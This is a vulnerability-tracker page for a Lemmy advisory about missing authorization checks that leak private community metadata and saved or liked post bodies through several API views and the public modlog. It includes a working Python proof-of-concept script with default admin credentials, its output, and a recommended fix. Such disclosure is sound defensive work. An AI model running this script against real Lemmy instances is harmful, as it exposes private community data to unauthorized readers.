GHSA-95q8-x6r6-672m: Lemmy may expose private community data through community, saved, liked, and modlog API views
Noroxi assessment
Priority: Monitor (action score 21/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- No fixed version is recorded, but the references include a patch (commit or PR) link.
Low priority for now. See the fix and affected versions sections below.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
**NOTE**: Only affects development version. ## Summary Lemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog. ## Details `CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads: ```rust query = my_local_user.visible_communities_only(query); query.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound) ``` `PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`. The modlog query returns `ListingType::All` without a visibility predicate: ```rust query = match self.listing_type.unwrap_or(ListingType::All) { ListingType::All => query, ``` The control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers: ```rust community::visibility .ne(CommunityVisibility::Private) .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted)) ``` ## Proof of Concept The following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob. ```python import requests, random, string BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL ADMIN_USER = "lemmy" ADMIN_PASS = "lemmylemmy" PASSWORD = "Password123456!" def req(method, path, token=None, params=None, **body): headers = {} if token: headers["Authorization"] = "Bearer " + token return requests.request(method, BASE + path, headers=headers, params=params, json=body or None) def register(name): r = req("POST", "/account/auth/register", username=name, password=PASSWORD, password_verify=PASSWORD, email=name + "@example.test") r.raise_for_status() token = r.json()["jwt"] person_id = req("GET", "/account", token).json()["local_user_view"]["person"]["id"] return token, person_id def show(label, response, marker): text = response.text print("\n" + label + ": HTTP", response.status_code) print(text[:700]) print("contains marker:", marker in text) suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6)) admin = req("POST", "/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"] req("PUT", "/site", admin, registration_mode="open", email_verification_required=False) alice, alice_id = register("alice" + suffix) bob, _ = register("bob" + suffix) secret = "SECRET_" + suffix community = req("POST", "/community", admin, name="priv" + suffix, title="Private Proof " + suffix, sidebar=secret + " sidebar", summary=secret + " summary", visibility="private").json()["community_view"]["community"] community_id = community["id"] post = req("POST", "/post", admin, name="secret post " + suffix, community_id=community_id, body=secret + " post body").json()["post_view"]["post"] post_id = post["id"] show("Bob reads private community metadata", req("GET", "/community", bob, params={"id": community_id}), secret) show("Bob direct post read control", req("GET", "/post", bob, params={"id": post_id}), secret) req("POST", "/community/follow", alice, community_id=community_id, follow=True) req("POST", "/community/pending_follows/approve", admin, community_id=community_id, follower_id=alice_id, approve=True) req("PUT", "/post/save", alice, post_id=post_id, save=True) req("POST", "/post/like", alice, post_id=post_id, is_upvote=True) req("POST", "/community/follow", alice, community_id=community_id, follow=False) show("Alice direct post read after leaving", req("GET", "/post", alice, params={"id": post_id}), secret) show("Alice saved list after leaving", req("GET", "/account/saved", alice), secret) show("Alice liked list after leaving", req("GET", "/account/liked", alice), secret) mod_comm = req("POST", "/community", admin, name="modlog" + suffix, title="Private Modlog " + suffix, sidebar=secret + " modlog sidebar", summary=secret + " modlog summary", visibility="private").json()["community_view"]["community"] mod_post = req("POST", "/post", admin, name=secret + " removed post", community_id=mod_comm["id"], body="body").json()["post_view"]["post"] req("POST", "/post/remove", admin, post_id=mod_post["id"], removed=True, reason="poc") show("Unauthenticated modlog", req("GET", "/modlog", params={"listing_type": "all", "limit": 50}), secret) ``` Output: ```text Bob reads private community metadata: HTTP 200 contains marker: True Bob direct post read control: HTTP 404 contains marker: False Alice direct post read after leaving: HTTP 404 contains marker: False Alice saved list after leaving: HTTP 200 contains marker: True Alice liked list after leaving: HTTP 200 contains marker: True Unauthenticated modlog: HTTP 200 contains marker: True ``` ## Impact Bob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names. ## Recommended Fix Apply the same private-community filter used by `PostView` and `CommentView` to `CommunityView::read()`, `CommunityQuery::list()`, `PersonSavedCombinedQuery::list()`, `PersonLikedCombinedQuery::list()`, and the `ListingType::All` branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same `404` behavior as `GET /post` and `GET /comment`. --- *Found by [aisafe.io](https://aisafe.io)*
- Published
- May 6, 2026
- Updated
- Jun 8, 2026
- EPSS
- —
- CWE
- CWE-862
Report tools
Action score
21
Low priority for now.
- CVSS
- 21 / 40 · 5.3 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- No fixed version yet
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| Vendor | Product | CPE |
|---|---|---|
| crates.io | lemmy_api | pkg:cargo/lemmy_api |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| crates.io | lemmy_api | up to and including 0.19.1-rc.1 | — |
Same product
crates.io: all recordsOther highest-scoring records for the same primary product.
- GHSA-jmxc-hhwx-gvv3Private Lemmy instances expose multi-community metadata without authentication21Monitor
- GHSA-qxrw-f6fh-34r7Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
No fix version is recorded for this entry. Check the references for vendor advisories.
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Variant candidates
Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.
- GHSA-jmxc-hhwx-gvv30 days apartPrivate Lemmy instances expose multi-community metadata without authentication21Monitor
Not on record for this CVE: EPSS history · researcher credit · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- low · data can be read
- Integrity
- none
- Availability
- none
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- Low
- Integrity impact
- None
- Availability impact
- None
Weakness class (CWE)
CWE-862 · Missing AuthorizationCVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Change log (0)
No changes recorded on tracked fields yet. Score, KEV, exploit maturity and fix status changes appear here.
References
Show all references (2 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.